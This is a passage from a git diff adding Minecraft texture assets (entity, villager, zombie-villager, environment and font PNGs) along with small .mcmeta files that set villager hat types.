b/src/assets/minecraft/textures/entity/silverfish.png differ diff --git a/src/assets/minecraft/textures/entity/skeleton/skeleton.png b/src/assets/minecraft/textures/entity/skeleton/skeleton.png new file mode 100644 index 00000000..179e3665 Binary files /dev/null and b/src/assets/minecraft/textures/entity/skeleton/skeleton.png differ diff --git a/src/assets/minecraft/textures/entity/skeleton/stray.png b/src/assets/minecraft/textures/entity/skeleton/stray.png new file mode 100644 index 00000000..42c4fa71 Binary files /dev/null and b/src/assets/minecraft/textures/entity/skeleton/stray.png differ diff --git a/src/assets/minecraft/textures/entity/skeleton/stray_overlay.png b/src/assets/minecraft/textures/entity/skeleton/stray_overlay.png new file mode 100644 index 00000000..ce86e32e Binary files /dev/null and b/src/assets/minecraft/textures/entity/skeleton/stray_overlay.png differ diff --git a/src/assets/minecraft/textures/entity/skeleton/wither_skeleton.png b/src/assets/minecraft/textures/entity/skeleton/wither_skeleton.png new file mode 100644 index 00000000..e771dd0f Binary files /dev/null and b/src/assets/minecraft/textures/entity/skeleton/wither_skeleton.png differ diff --git a/src/assets/minecraft/textures/entity/slime/magmacube.png b/src/assets/minecraft/textures/entity/slime/magmacube.png new file mode 100644 index 00000000..892fdf0c Binary files /dev/null and b/src/assets/minecraft/textures/entity/slime/magmacube.png differ diff --git a/src/assets/minecraft/textures/entity/slime/slime.png b/src/assets/minecraft/textures/entity/slime/slime.png new file mode 100644 index 00000000..0b316be2 Binary files /dev/null and b/src/assets/minecraft/textures/entity/slime/slime.png differ diff --git a/src/assets/minecraft/textures/entity/snow_golem.png b/src/assets/minecraft/textures/entity/snow_golem.png new file mode 100644 index 00000000..53c52978 Binary files /dev/null and b/src/assets/minecraft/textures/entity/snow_golem.png differ diff --git a/src/assets/minecraft/textures/entity/spider/cave_spider.png b/src/assets/minecraft/textures/entity/spider/cave_spider.png new file mode 100644 index 00000000..fe6bb429 Binary files /dev/null and b/src/assets/minecraft/textures/entity/spider/cave_spider.png differ diff --git a/src/assets/minecraft/textures/entity/spider/spider.png b/src/assets/minecraft/textures/entity/spider/spider.png new file mode 100644 index 00000000..8af2ea7d Binary files /dev/null and b/src/assets/minecraft/textures/entity/spider/spider.png differ diff --git a/src/assets/minecraft/textures/entity/spider_eyes.png b/src/assets/minecraft/textures/entity/spider_eyes.png new file mode 100644 index 00000000..f49b78ff Binary files /dev/null and b/src/assets/minecraft/textures/entity/spider_eyes.png differ diff --git a/src/assets/minecraft/textures/entity/squid.png b/src/assets/minecraft/textures/entity/squid.png new file mode 100644 index 00000000..db97d6da Binary files /dev/null and b/src/assets/minecraft/textures/entity/squid.png differ diff --git a/src/assets/minecraft/textures/entity/steve.png b/src/assets/minecraft/textures/entity/steve.png new file mode 100644 index 00000000..90d4fa23 Binary files /dev/null and b/src/assets/minecraft/textures/entity/steve.png differ diff --git a/src/assets/minecraft/textures/entity/strider/strider.png b/src/assets/minecraft/textures/entity/strider/strider.png new file mode 100644 index 00000000..793b9416 Binary files /dev/null and b/src/assets/minecraft/textures/entity/strider/strider.png differ diff --git a/src/assets/minecraft/textures/entity/strider/strider_cold.png b/src/assets/minecraft/textures/entity/strider/strider_cold.png new file mode 100644 index 00000000..0d4b4efd Binary files /dev/null and b/src/assets/minecraft/textures/entity/strider/strider_cold.png differ diff --git a/src/assets/minecraft/textures/entity/strider/strider_saddle.png b/src/assets/minecraft/textures/entity/strider/strider_saddle.png new file mode 100644 index 00000000..592fbbc1 Binary files /dev/null and b/src/assets/minecraft/textures/entity/strider/strider_saddle.png differ diff --git a/src/assets/minecraft/textures/entity/trident.png b/src/assets/minecraft/textures/entity/trident.png new file mode 100644 index 00000000..a80e05a9 Binary files /dev/null and b/src/assets/minecraft/textures/entity/trident.png differ diff --git a/src/assets/minecraft/textures/entity/trident_riptide.png b/src/assets/minecraft/textures/entity/trident_riptide.png new file mode 100644 index 00000000..ce431b69 Binary files /dev/null and b/src/assets/minecraft/textures/entity/trident_riptide.png differ diff --git a/src/assets/minecraft/textures/entity/turtle/big_sea_turtle.png b/src/assets/minecraft/textures/entity/turtle/big_sea_turtle.png new file mode 100644 index 00000000..2a58cba3 Binary files /dev/null and b/src/assets/minecraft/textures/entity/turtle/big_sea_turtle.png differ diff --git a/src/assets/minecraft/textures/entity/villager/profession/armorer.png b/src/assets/minecraft/textures/entity/villager/profession/armorer.png new file mode 100644 index 00000000..f9d99f99 Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/profession/armorer.png differ diff --git a/src/assets/minecraft/textures/entity/villager/profession/butcher.png b/src/assets/minecraft/textures/entity/villager/profession/butcher.png new file mode 100644 index 00000000..d23c28ce Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/profession/butcher.png differ diff --git a/src/assets/minecraft/textures/entity/villager/profession/butcher.png.mcmeta b/src/assets/minecraft/textures/entity/villager/profession/butcher.png.mcmeta new file mode 100644 index 00000000..8ed5d61a --- /dev/null +++ b/src/assets/minecraft/textures/entity/villager/profession/butcher.png.mcmeta @@ -0,0 +1,5 @@ +{ + "villager": { + "hat": "partial" + } +} diff --git a/src/assets/minecraft/textures/entity/villager/profession/cartographer.png b/src/assets/minecraft/textures/entity/villager/profession/cartographer.png new file mode 100644 index 00000000..c349ba91 Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/profession/cartographer.png differ diff --git a/src/assets/minecraft/textures/entity/villager/profession/cleric.png b/src/assets/minecraft/textures/entity/villager/profession/cleric.png new file mode 100644 index 00000000..9542f4da Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/profession/cleric.png differ diff --git a/src/assets/minecraft/textures/entity/villager/profession/farmer.png b/src/assets/minecraft/textures/entity/villager/profession/farmer.png new file mode 100644 index 00000000..06fd478b Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/profession/farmer.png differ diff --git a/src/assets/minecraft/textures/entity/villager/profession/farmer.png.mcmeta b/src/assets/minecraft/textures/entity/villager/profession/farmer.png.mcmeta new file mode 100644 index 00000000..f24387e7 --- /dev/null +++ b/src/assets/minecraft/textures/entity/villager/profession/farmer.png.mcmeta @@ -0,0 +1,5 @@ +{ + "villager": { + "hat": "full" + } +} diff --git a/src/assets/minecraft/textures/entity/villager/profession/fisherman.png b/src/assets/minecraft/textures/entity/villager/profession/fisherman.png new file mode 100644 index 00000000..c6b6083c Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/profession/fisherman.png differ diff --git a/src/assets/minecraft/textures/entity/villager/profession/fisherman.png.mcmeta b/src/assets/minecraft/textures/entity/villager/profession/fisherman.png.mcmeta new file mode 100644 index 00000000..f24387e7 --- /dev/null +++ b/src/assets/minecraft/textures/entity/villager/profession/fisherman.png.mcmeta @@ -0,0 +1,5 @@ +{ + "villager": { + "hat": "full" + } +} diff --git a/src/assets/minecraft/textures/entity/villager/profession/fletcher.png b/src/assets/minecraft/textures/entity/villager/profession/fletcher.png new file mode 100644 index 00000000..c0f00580 Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/profession/fletcher.png differ diff --git a/src/assets/minecraft/textures/entity/villager/profession/fletcher.png.mcmeta b/src/assets/minecraft/textures/entity/villager/profession/fletcher.png.mcmeta new file mode 100644 index 00000000..f24387e7 --- /dev/null +++ b/src/assets/minecraft/textures/entity/villager/profession/fletcher.png.mcmeta @@ -0,0 +1,5 @@ +{ + "villager": { + "hat": "full" + } +} diff --git a/src/assets/minecraft/textures/entity/villager/profession/leatherworker.png b/src/assets/minecraft/textures/entity/villager/profession/leatherworker.png new file mode 100644 index 00000000..2dd8d23c Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/profession/leatherworker.png differ diff --git a/src/assets/minecraft/textures/entity/villager/profession/librarian.png b/src/assets/minecraft/textures/entity/villager/profession/librarian.png new file mode 100644 index 00000000..58db1a89 Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/profession/librarian.png differ diff --git a/src/assets/minecraft/textures/entity/villager/profession/librarian.png.mcmeta b/src/assets/minecraft/textures/entity/villager/profession/librarian.png.mcmeta new file mode 100644 index 00000000..f24387e7 --- /dev/null +++ b/src/assets/minecraft/textures/entity/villager/profession/librarian.png.mcmeta @@ -0,0 +1,5 @@ +{ + "villager": { + "hat": "full" + } +} diff --git a/src/assets/minecraft/textures/entity/villager/profession/mason.png b/src/assets/minecraft/textures/entity/villager/profession/mason.png new file mode 100644 index 00000000..fd32ff87 Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/profession/mason.png differ diff --git a/src/assets/minecraft/textures/entity/villager/profession/nitwit.png b/src/assets/minecraft/textures/entity/villager/profession/nitwit.png new file mode 100644 index 00000000..d79903d7 Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/profession/nitwit.png differ diff --git a/src/assets/minecraft/textures/entity/villager/profession/shepherd.png b/src/assets/minecraft/textures/entity/villager/profession/shepherd.png new file mode 100644 index 00000000..9de19941 Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/profession/shepherd.png differ diff --git a/src/assets/minecraft/textures/entity/villager/profession/shepherd.png.mcmeta b/src/assets/minecraft/textures/entity/villager/profession/shepherd.png.mcmeta new file mode 100644 index 00000000..f24387e7 --- /dev/null +++ b/src/assets/minecraft/textures/entity/villager/profession/shepherd.png.mcmeta @@ -0,0 +1,5 @@ +{ + "villager": { + "hat": "full" + } +} diff --git a/src/assets/minecraft/textures/entity/villager/profession/toolsmith.png b/src/assets/minecraft/textures/entity/villager/profession/toolsmith.png new file mode 100644 index 00000000..92f641ec Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/profession/toolsmith.png differ diff --git a/src/assets/minecraft/textures/entity/villager/profession/weaponsmith.png b/src/assets/minecraft/textures/entity/villager/profession/weaponsmith.png new file mode 100644 index 00000000..fa42ed4b Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/profession/weaponsmith.png differ diff --git a/src/assets/minecraft/textures/entity/villager/profession_level/diamond.png b/src/assets/minecraft/textures/entity/villager/profession_level/diamond.png new file mode 100644 index 00000000..d0e36764 Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/profession_level/diamond.png differ diff --git a/src/assets/minecraft/textures/entity/villager/profession_level/emerald.png b/src/assets/minecraft/textures/entity/villager/profession_level/emerald.png new file mode 100644 index 00000000..a57eddf9 Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/profession_level/emerald.png differ diff --git a/src/assets/minecraft/textures/entity/villager/profession_level/gold.png b/src/assets/minecraft/textures/entity/villager/profession_level/gold.png new file mode 100644 index 00000000..60c4789f Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/profession_level/gold.png differ diff --git a/src/assets/minecraft/textures/entity/villager/profession_level/iron.png b/src/assets/minecraft/textures/entity/villager/profession_level/iron.png new file mode 100644 index 00000000..94cd4147 Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/profession_level/iron.png differ diff --git a/src/assets/minecraft/textures/entity/villager/profession_level/stone.png b/src/assets/minecraft/textures/entity/villager/profession_level/stone.png new file mode 100644 index 00000000..0daf8bb9 Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/profession_level/stone.png differ diff --git a/src/assets/minecraft/textures/entity/villager/type/desert.png b/src/assets/minecraft/textures/entity/villager/type/desert.png new file mode 100644 index 00000000..919bb6c2 Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/type/desert.png differ diff --git a/src/assets/minecraft/textures/entity/villager/type/desert.png.mcmeta b/src/assets/minecraft/textures/entity/villager/type/desert.png.mcmeta new file mode 100644 index 00000000..f24387e7 --- /dev/null +++ b/src/assets/minecraft/textures/entity/villager/type/desert.png.mcmeta @@ -0,0 +1,5 @@ +{ + "villager": { + "hat": "full" + } +} diff --git a/src/assets/minecraft/textures/entity/villager/type/jungle.png b/src/assets/minecraft/textures/entity/villager/type/jungle.png new file mode 100644 index 00000000..65999ada Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/type/jungle.png differ diff --git a/src/assets/minecraft/textures/entity/villager/type/plains.png b/src/assets/minecraft/textures/entity/villager/type/plains.png new file mode 100644 index 00000000..67a75827 Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/type/plains.png differ diff --git a/src/assets/minecraft/textures/entity/villager/type/savanna.png b/src/assets/minecraft/textures/entity/villager/type/savanna.png new file mode 100644 index 00000000..bd8e3832 Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/type/savanna.png differ diff --git a/src/assets/minecraft/textures/entity/villager/type/snow.png b/src/assets/minecraft/textures/entity/villager/type/snow.png new file mode 100644 index 00000000..1426f0ef Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/type/snow.png differ diff --git a/src/assets/minecraft/textures/entity/villager/type/snow.png.mcmeta b/src/assets/minecraft/textures/entity/villager/type/snow.png.mcmeta new file mode 100644 index 00000000..f24387e7 --- /dev/null +++ b/src/assets/minecraft/textures/entity/villager/type/snow.png.mcmeta @@ -0,0 +1,5 @@ +{ + "villager": { + "hat": "full" + } +} diff --git a/src/assets/minecraft/textures/entity/villager/type/swamp.png b/src/assets/minecraft/textures/entity/villager/type/swamp.png new file mode 100644 index 00000000..f4a6acf2 Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/type/swamp.png differ diff --git a/src/assets/minecraft/textures/entity/villager/type/taiga.png b/src/assets/minecraft/textures/entity/villager/type/taiga.png new file mode 100644 index 00000000..310857df Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/type/taiga.png differ diff --git a/src/assets/minecraft/textures/entity/villager/villager.png b/src/assets/minecraft/textures/entity/villager/villager.png new file mode 100644 index 00000000..0cddb3d0 Binary files /dev/null and b/src/assets/minecraft/textures/entity/villager/villager.png differ diff --git a/src/assets/minecraft/textures/entity/wandering_trader.png b/src/assets/minecraft/textures/entity/wandering_trader.png new file mode 100644 index 00000000..522b2f53 Binary files /dev/null and b/src/assets/minecraft/textures/entity/wandering_trader.png differ diff --git a/src/assets/minecraft/textures/entity/witch.png b/src/assets/minecraft/textures/entity/witch.png new file mode 100644 index 00000000..d253cf0a Binary files /dev/null and b/src/assets/minecraft/textures/entity/witch.png differ diff --git a/src/assets/minecraft/textures/entity/wither/wither.png b/src/assets/minecraft/textures/entity/wither/wither.png new file mode 100644 index 00000000..2c9782b5 Binary files /dev/null and b/src/assets/minecraft/textures/entity/wither/wither.png differ diff --git a/src/assets/minecraft/textures/entity/wither/wither_armor.png b/src/assets/minecraft/textures/entity/wither/wither_armor.png new file mode 100644 index 00000000..9968bf53 Binary files /dev/null and b/src/assets/minecraft/textures/entity/wither/wither_armor.png differ diff --git a/src/assets/minecraft/textures/entity/wither/wither_invulnerable.png b/src/assets/minecraft/textures/entity/wither/wither_invulnerable.png new file mode 100644 index 00000000..f69e543f Binary files /dev/null and b/src/assets/minecraft/textures/entity/wither/wither_invulnerable.png differ diff --git a/src/assets/minecraft/textures/entity/wolf/wolf.png b/src/assets/minecraft/textures/entity/wolf/wolf.png new file mode 100644 index 00000000..85c73d31 Binary files /dev/null and b/src/assets/minecraft/textures/entity/wolf/wolf.png differ diff --git a/src/assets/minecraft/textures/entity/wolf/wolf_angry.png b/src/assets/minecraft/textures/entity/wolf/wolf_angry.png new file mode 100644 index 00000000..72581a04 Binary files /dev/null and b/src/assets/minecraft/textures/entity/wolf/wolf_angry.png differ diff --git a/src/assets/minecraft/textures/entity/wolf/wolf_collar.png b/src/assets/minecraft/textures/entity/wolf/wolf_collar.png new file mode 100644 index 00000000..c1255967 Binary files /dev/null and b/src/assets/minecraft/textures/entity/wolf/wolf_collar.png differ diff --git a/src/assets/minecraft/textures/entity/wolf/wolf_tame.png b/src/assets/minecraft/textures/entity/wolf/wolf_tame.png new file mode 100644 index 00000000..6c71b067 Binary files /dev/null and b/src/assets/minecraft/textures/entity/wolf/wolf_tame.png differ diff --git a/src/assets/minecraft/textures/entity/zombie/drowned.png b/src/assets/minecraft/textures/entity/zombie/drowned.png new file mode 100644 index 00000000..f7fff3f8 Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie/drowned.png differ diff --git a/src/assets/minecraft/textures/entity/zombie/drowned_outer_layer.png b/src/assets/minecraft/textures/entity/zombie/drowned_outer_layer.png new file mode 100644 index 00000000..d124f2e6 Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie/drowned_outer_layer.png differ diff --git a/src/assets/minecraft/textures/entity/zombie/husk.png b/src/assets/minecraft/textures/entity/zombie/husk.png new file mode 100644 index 00000000..91ad399e Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie/husk.png differ diff --git a/src/assets/minecraft/textures/entity/zombie/zombie.png b/src/assets/minecraft/textures/entity/zombie/zombie.png new file mode 100644 index 00000000..86379b0c Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie/zombie.png differ diff --git a/src/assets/minecraft/textures/entity/zombie/zombie_villager.png b/src/assets/minecraft/textures/entity/zombie/zombie_villager.png new file mode 100644 index 00000000..0ee45f48 Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie/zombie_villager.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession/armorer.png b/src/assets/minecraft/textures/entity/zombie_villager/profession/armorer.png new file mode 100644 index 00000000..78d5b9ab Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/profession/armorer.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession/butcher.png b/src/assets/minecraft/textures/entity/zombie_villager/profession/butcher.png new file mode 100644 index 00000000..d23c28ce Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/profession/butcher.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession/butcher.png.mcmeta b/src/assets/minecraft/textures/entity/zombie_villager/profession/butcher.png.mcmeta new file mode 100644 index 00000000..8ed5d61a --- /dev/null +++ b/src/assets/minecraft/textures/entity/zombie_villager/profession/butcher.png.mcmeta @@ -0,0 +1,5 @@ +{ + "villager": { + "hat": "partial" + } +} diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession/cartographer.png b/src/assets/minecraft/textures/entity/zombie_villager/profession/cartographer.png new file mode 100644 index 00000000..c349ba91 Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/profession/cartographer.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession/cleric.png b/src/assets/minecraft/textures/entity/zombie_villager/profession/cleric.png new file mode 100644 index 00000000..9542f4da Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/profession/cleric.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession/farmer.png b/src/assets/minecraft/textures/entity/zombie_villager/profession/farmer.png new file mode 100644 index 00000000..06fd478b Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/profession/farmer.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession/farmer.png.mcmeta b/src/assets/minecraft/textures/entity/zombie_villager/profession/farmer.png.mcmeta new file mode 100644 index 00000000..f24387e7 --- /dev/null +++ b/src/assets/minecraft/textures/entity/zombie_villager/profession/farmer.png.mcmeta @@ -0,0 +1,5 @@ +{ + "villager": { + "hat": "full" + } +} diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession/fisherman.png b/src/assets/minecraft/textures/entity/zombie_villager/profession/fisherman.png new file mode 100644 index 00000000..c6b6083c Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/profession/fisherman.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession/fisherman.png.mcmeta b/src/assets/minecraft/textures/entity/zombie_villager/profession/fisherman.png.mcmeta new file mode 100644 index 00000000..f24387e7 --- /dev/null +++ b/src/assets/minecraft/textures/entity/zombie_villager/profession/fisherman.png.mcmeta @@ -0,0 +1,5 @@ +{ + "villager": { + "hat": "full" + } +} diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession/fletcher.png b/src/assets/minecraft/textures/entity/zombie_villager/profession/fletcher.png new file mode 100644 index 00000000..c0f00580 Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/profession/fletcher.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession/fletcher.png.mcmeta b/src/assets/minecraft/textures/entity/zombie_villager/profession/fletcher.png.mcmeta new file mode 100644 index 00000000..f24387e7 --- /dev/null +++ b/src/assets/minecraft/textures/entity/zombie_villager/profession/fletcher.png.mcmeta @@ -0,0 +1,5 @@ +{ + "villager": { + "hat": "full" + } +} diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession/leatherworker.png b/src/assets/minecraft/textures/entity/zombie_villager/profession/leatherworker.png new file mode 100644 index 00000000..2dd8d23c Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/profession/leatherworker.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession/librarian.png b/src/assets/minecraft/textures/entity/zombie_villager/profession/librarian.png new file mode 100644 index 00000000..58db1a89 Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/profession/librarian.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession/librarian.png.mcmeta b/src/assets/minecraft/textures/entity/zombie_villager/profession/librarian.png.mcmeta new file mode 100644 index 00000000..f24387e7 --- /dev/null +++ b/src/assets/minecraft/textures/entity/zombie_villager/profession/librarian.png.mcmeta @@ -0,0 +1,5 @@ +{ + "villager": { + "hat": "full" + } +} diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession/mason.png b/src/assets/minecraft/textures/entity/zombie_villager/profession/mason.png new file mode 100644 index 00000000..fd32ff87 Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/profession/mason.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession/nitwit.png b/src/assets/minecraft/textures/entity/zombie_villager/profession/nitwit.png new file mode 100644 index 00000000..8593c435 Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/profession/nitwit.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession/shepherd.png b/src/assets/minecraft/textures/entity/zombie_villager/profession/shepherd.png new file mode 100644 index 00000000..9de19941 Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/profession/shepherd.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession/shepherd.png.mcmeta b/src/assets/minecraft/textures/entity/zombie_villager/profession/shepherd.png.mcmeta new file mode 100644 index 00000000..f24387e7 --- /dev/null +++ b/src/assets/minecraft/textures/entity/zombie_villager/profession/shepherd.png.mcmeta @@ -0,0 +1,5 @@ +{ + "villager": { + "hat": "full" + } +} diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession/toolsmith.png b/src/assets/minecraft/textures/entity/zombie_villager/profession/toolsmith.png new file mode 100644 index 00000000..92f641ec Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/profession/toolsmith.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession/weaponsmith.png b/src/assets/minecraft/textures/entity/zombie_villager/profession/weaponsmith.png new file mode 100644 index 00000000..fa42ed4b Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/profession/weaponsmith.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession_level/diamond.png b/src/assets/minecraft/textures/entity/zombie_villager/profession_level/diamond.png new file mode 100644 index 00000000..d0e36764 Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/profession_level/diamond.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession_level/emerald.png b/src/assets/minecraft/textures/entity/zombie_villager/profession_level/emerald.png new file mode 100644 index 00000000..a57eddf9 Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/profession_level/emerald.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession_level/gold.png b/src/assets/minecraft/textures/entity/zombie_villager/profession_level/gold.png new file mode 100644 index 00000000..60c4789f Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/profession_level/gold.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession_level/iron.png b/src/assets/minecraft/textures/entity/zombie_villager/profession_level/iron.png new file mode 100644 index 00000000..94cd4147 Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/profession_level/iron.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/profession_level/stone.png b/src/assets/minecraft/textures/entity/zombie_villager/profession_level/stone.png new file mode 100644 index 00000000..0daf8bb9 Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/profession_level/stone.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/type/desert.png b/src/assets/minecraft/textures/entity/zombie_villager/type/desert.png new file mode 100644 index 00000000..97170011 Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/type/desert.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/type/jungle.png b/src/assets/minecraft/textures/entity/zombie_villager/type/jungle.png new file mode 100644 index 00000000..1ed7a1e9 Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/type/jungle.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/type/plains.png b/src/assets/minecraft/textures/entity/zombie_villager/type/plains.png new file mode 100644 index 00000000..4678060f Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/type/plains.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/type/savanna.png b/src/assets/minecraft/textures/entity/zombie_villager/type/savanna.png new file mode 100644 index 00000000..c3f1c6a9 Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/type/savanna.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/type/snow.png b/src/assets/minecraft/textures/entity/zombie_villager/type/snow.png new file mode 100644 index 00000000..3d8d655c Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/type/snow.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/type/swamp.png b/src/assets/minecraft/textures/entity/zombie_villager/type/swamp.png new file mode 100644 index 00000000..56093400 Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/type/swamp.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/type/taiga.png b/src/assets/minecraft/textures/entity/zombie_villager/type/taiga.png new file mode 100644 index 00000000..b39e46c2 Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/type/taiga.png differ diff --git a/src/assets/minecraft/textures/entity/zombie_villager/zombie_villager.png b/src/assets/minecraft/textures/entity/zombie_villager/zombie_villager.png new file mode 100644 index 00000000..b165d64a Binary files /dev/null and b/src/assets/minecraft/textures/entity/zombie_villager/zombie_villager.png differ diff --git a/src/assets/minecraft/textures/environment/clouds.png b/src/assets/minecraft/textures/environment/clouds.png new file mode 100644 index 00000000..146d9c50 Binary files /dev/null and b/src/assets/minecraft/textures/environment/clouds.png differ diff --git a/src/assets/minecraft/textures/environment/end_sky.png b/src/assets/minecraft/textures/environment/end_sky.png new file mode 100644 index 00000000..9b69e1e1 Binary files /dev/null and b/src/assets/minecraft/textures/environment/end_sky.png differ diff --git a/src/assets/minecraft/textures/environment/moon_phases.png b/src/assets/minecraft/textures/environment/moon_phases.png new file mode 100644 index 00000000..82d7c4b4 Binary files /dev/null and b/src/assets/minecraft/textures/environment/moon_phases.png differ diff --git a/src/assets/minecraft/textures/environment/rain.png b/src/assets/minecraft/textures/environment/rain.png new file mode 100644 index 00000000..5ae31d26 Binary files /dev/null and b/src/assets/minecraft/textures/environment/rain.png differ diff --git a/src/assets/minecraft/textures/environment/snow.png b/src/assets/minecraft/textures/environment/snow.png new file mode 100644 index 00000000..93544968 Binary files /dev/null and b/src/assets/minecraft/textures/environment/snow.png differ diff --git a/src/assets/minecraft/textures/environment/sun.png b/src/assets/minecraft/textures/environment/sun.png new file mode 100644 index 00000000..9b0559e4 Binary files /dev/null and b/src/assets/minecraft/textures/environment/sun.png differ diff --git a/src/assets/minecraft/textures/font/accented.png b/src/assets/minecraft/textures/font/accented.png new file mode 100644 index 00000000..e7e04845 Binary files /dev/null and b/src/assets/minecraft/textures/font/accented.png differ diff --git a/src/assets/minecraft/textures/font/ascii.png b/src/assets/minecraft/textures/font/ascii.png new file mode 100644 index 00000000..230b9d82 Binary files /dev/null and b/src/assets/minecraft/textures/font/ascii.png differ diff --git a/src/assets/minecraft/textures/font/ascii_sga.png b/src/assets/minecraft/textures/font/ascii_sga.png new file mode 100644 index 00000000..ba326b44 Binary files /dev/null and b/src/assets/minecraft/textures/font/ascii_sga.png differ diff --git a/src/assets/minecraft/textures/font/nonlatin_european.png b/src/assets/minecraft/textures/font/nonlatin_european.png new file mode 100644 index 00000000..4342739d Binary files /dev/null and b/src/assets/minecraft/textures/font/nonlatin_european.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_00.png b/src/assets/minecraft/textures/font/unicode_page_00.png new file mode 100644 index 00000000..0ddd1843 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_00.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_01.png b/src/assets/minecraft/textures/font/unicode_page_01.png new file mode 100644 index 00000000..a1d7b010 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_01.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_02.png b/src/assets/minecraft/textures/font/unicode_page_02.png new file mode 100644 index 00000000..b437ceba Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_02.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_03.png b/src/assets/minecraft/textures/font/unicode_page_03.png new file mode 100644 index 00000000..59fbbab7 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_03.png differ diff --git a/src/assets/minecraft/textures/font/unicode_page_04.png b/src/assets/minecraft/textures/font/unicode_page_04.png new file mode 100644 index 00000000..75a45230 Binary files /dev/null and b/src/assets/minecraft/textures/font/unicode_page_04.png differ diff --git 